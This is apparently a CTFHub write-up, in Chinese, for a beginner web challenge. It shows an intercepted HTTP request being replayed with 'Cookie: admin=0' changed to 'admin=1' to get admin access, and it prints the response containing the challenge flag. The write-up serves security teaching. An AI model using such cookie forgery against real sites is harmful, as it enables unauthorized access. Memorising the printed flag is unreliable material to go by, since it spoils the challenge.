

Cookie

发表于 2021-01-04 更新于 2021-02-05 分类于 [Skill](#) , [Web](#) , [Web前置技能](#) , [HTTP协议](#)
[Skill](#) | [Web](#) | [Web前置技能](#) | [HTTP协议](#) | [Cookie](#)

[点击此处](#)获得更好的阅读体验

本WP来自ctfhubug原创投稿

题目考点

- Cookie欺骗、认证、伪造

解题思路

挂上 BurpSuite 之后访问题目页面，在“代理-HTTP历史”里可以看到两个GET请求

其中第二个GET请求访问http://challenge-7bc25cbdc425c4ea.sandbox.ctfhub.com:10080/favicon.ico

□

```
1 GET /favicon.ico HTTP/1.1
2 Host: challenge-7bc25cbdc425c4ea.sandbox.ctfhub.com:10080
3 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
4 Accept: image/webp,image/apng,image/*,*/*;q=0.8
5 Referer: http://challenge-7bc25cbdc425c4ea.sandbox.ctfhub.com:10080/
6 Accept-Encoding: gzip, deflate
7 Accept-Language: zh-CN,zh;q=0.9
8 Cookie: admin=0
9 Connection: close
```

把这个请求放入“重发器”修改Cookie: admin=0为Cookie: admin=1后发送获得响应页面里包含Flag

```
1 HTTP/1.1 200 OK
2 Server: openresty/1.15.8.2
3 Date: Mon, 02 Mar 2020 00:30:35 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: close
6 X-Powered-By: PHP/5.6.40
7 Access-Control-Allow-Origin: *
8 Access-Control-Allow-Headers: X-Requested-With
9 Access-Control-Allow-Methods: *
10 Content-Length: 48
11 ctfhub{5f6a5ebbc9c599b2b1268d0cccb43111049c8364}
```

□

- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Skill/Web/Web前置技能/HTTP协议/6zSDRPLbitJ5j4e7CE9dLp.html>
- 版权声明: 本博客所有文章除特别声明外, 均采用 [BY-NC-SA](#) 许可协议。转载请注明出处!

[#Skill](#) [#Web](#) [#Web前置技能](#) [#HTTP协议](#)

[请求方式](#)

[302跳转](#)